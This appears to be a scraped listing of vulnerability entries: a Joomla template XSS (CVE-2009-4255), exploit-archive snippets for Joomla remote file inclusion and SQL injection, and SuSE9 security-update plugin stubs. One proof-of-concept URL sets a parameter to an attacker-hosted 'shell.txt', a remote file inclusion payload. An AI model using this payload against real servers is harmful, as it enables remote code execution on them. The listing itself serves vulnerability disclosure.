Cross site scripting

Cross-site scripting XSS vulnerability in the You!Hostit! template 1.0.1 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the createdbyalias parameter in index.php...

CVE-2009-4255

Cross-site scripting XSS vulnerability in the You!Hostit! template 1.0.1 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the createdbyalias parameter in index.php...

CVE-2009-4255

The CVE-2009-4255 entry documents a Cross-site scripting (XSS) vulnerability in the You!Hostit! Joomla! template 1.0.1. The flaw arises in the created_by_alias parameter in index.php, allowing remote attackers to inject arbitrary web script or HTML. Impact and specifics are limited to the describ...

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting

source: https://www.securityfocus.com/bid/37260/info The Joomla! You!Hostit! template is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an...

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting

Joomla! Component You!Hostit! 1.0.1 Template - Cross-Site Scripting source: https://www.securityfocus.com/bid/37260/info The Joomla! You!Hostit! template is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may levera...

outreach project tool 1.2.6 - Remote File Inclusion

outreach project tool 1.2.6 - Remote File Inclusion Discovered by cr4wl3r \ Indonesian Hacker OPT Outreach Project Tool PoC : http://server/path/forums/ForumInclude/index.php?CRMpath=http://attacker/shell.txt??? Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang...

Joomla! Component Ajax Chat 1.0 - Remote File Inclusion

Joomla Component comajaxchat Remote File Include vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : September 27, 2009 Hello My Name Is : . | | / / ||\ / | |/ /\ \ / \ / \ \ || \ / | / / Y \ | | || / / || \ /| /| |/ / \ / / / / / -=-...

Joomla! Component Book Library 1.0 - Remote File Inclusion

Joomla Component combooklibrary Remote File Include vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : September 27, 2009 Hello My Name Is : . | | / / ||\ / | |/ /\ \ / \ / \ \ || \ / | / / Y \ | | || / / || \ /| /| |/ / \ / / / / / -=-...

SuSE9 Security Update : freeradius (YOU Patch Number 12507)

This update of freeradius fixes a remote denial-of-service bug in function raddecode which can be triggered by zero-length Tunnel-Password attributes to make radiusd crash. CVE-2009-3111 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc...

Joomla! Component IRCm Basic - SQL Injection

Joomla Component comircmbasic SQL injection vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : September 27, 2009 Hello My Name Is : . | | / / ||\ / | |/ /\ \ / \ / \ \ || \ / | / / Y \ | | || / / || \ /| /| |/ / \ / / / / / -=- INDONESIAN...

SuSE9 Security Update : IBMJava5 JRE and IBMJava5 SDK (YOU Patch Number 12265)

IBM Java 5 was updated to SR8a to fix a security issue : - A vulnerability in the Java Management Extensions JMX agent when local monitoring is enabled, allowed remote attackers to 'perform unauthorized operations'. CVE-2008-3103 This update also includes new timezone data and fixes missing...

SuSE9 Security Update : rsh (YOU Patch Number 12241)

in.rexecd was not using the system wide limits, potentially allowing remote rexec users to exhaust all system resources. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

SuSE9 Security Update : libgsf (YOU Patch Number 11342)

Specially crafted OLE documents enabled attackers to use a heap buffer overlow for executing code. CVE-2006-4514 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

SuSE9 Security Update : ruby (YOU Patch Number 11442)

The ruby package was updated to fix a denial of service problem in its CGI module when parsing multipart MIME messages. CVE-2006-6303 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; i...

SuSE9 Security Update : qpopper (YOU Patch Number 10045)

Qpopper was handling user files while running as root. Qpopper could also be tricked into overwriting system files. CVE-2005-1151 and CVE-2005-1152 have been assigned to these issues. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc...

SuSE9 Security Update : arc (YOU Patch Number 10496)

This updates fixes two bugs : - Eric Romang discovered that the ARC archive program under Unix creates a temporary file with insecure permissions which may lead to an attacker stealing sensitive information. CVE-2005-2945 - Joey Schulze discovered that the temporary file was created in an insecur...

SuSE9 Security Update : xntp, xntp-doc (YOU Patch Number 12338)

This update of ntp improves a check for the return value of openssl's function EVPVerifyFinal. CVE-2009-0021 Additionally a fix non-security for starting ntpd with the option -x was added. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc...

SuSE9 Security Update : ethereal (YOU Patch Number 12323)

This update fixes problems that could crash wireshark when processing compressed data CVE-2008-3933 and Q.931 packets. CVE-2008-4685 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

SuSE9 Security Update : dhcp-server (YOU Patch Number 11373)

A bug was fixed were a LDAP server with malicious data providing information to the DHCP server could crash and potentially execute code as the DHCP server. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc';...

SuSE9 Security Update : pam_mount (YOU Patch Number 12332)

This update fixes the temp-flle handling in the passwdehd script that allowed a symlink attack. CVE-2008-5138 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description...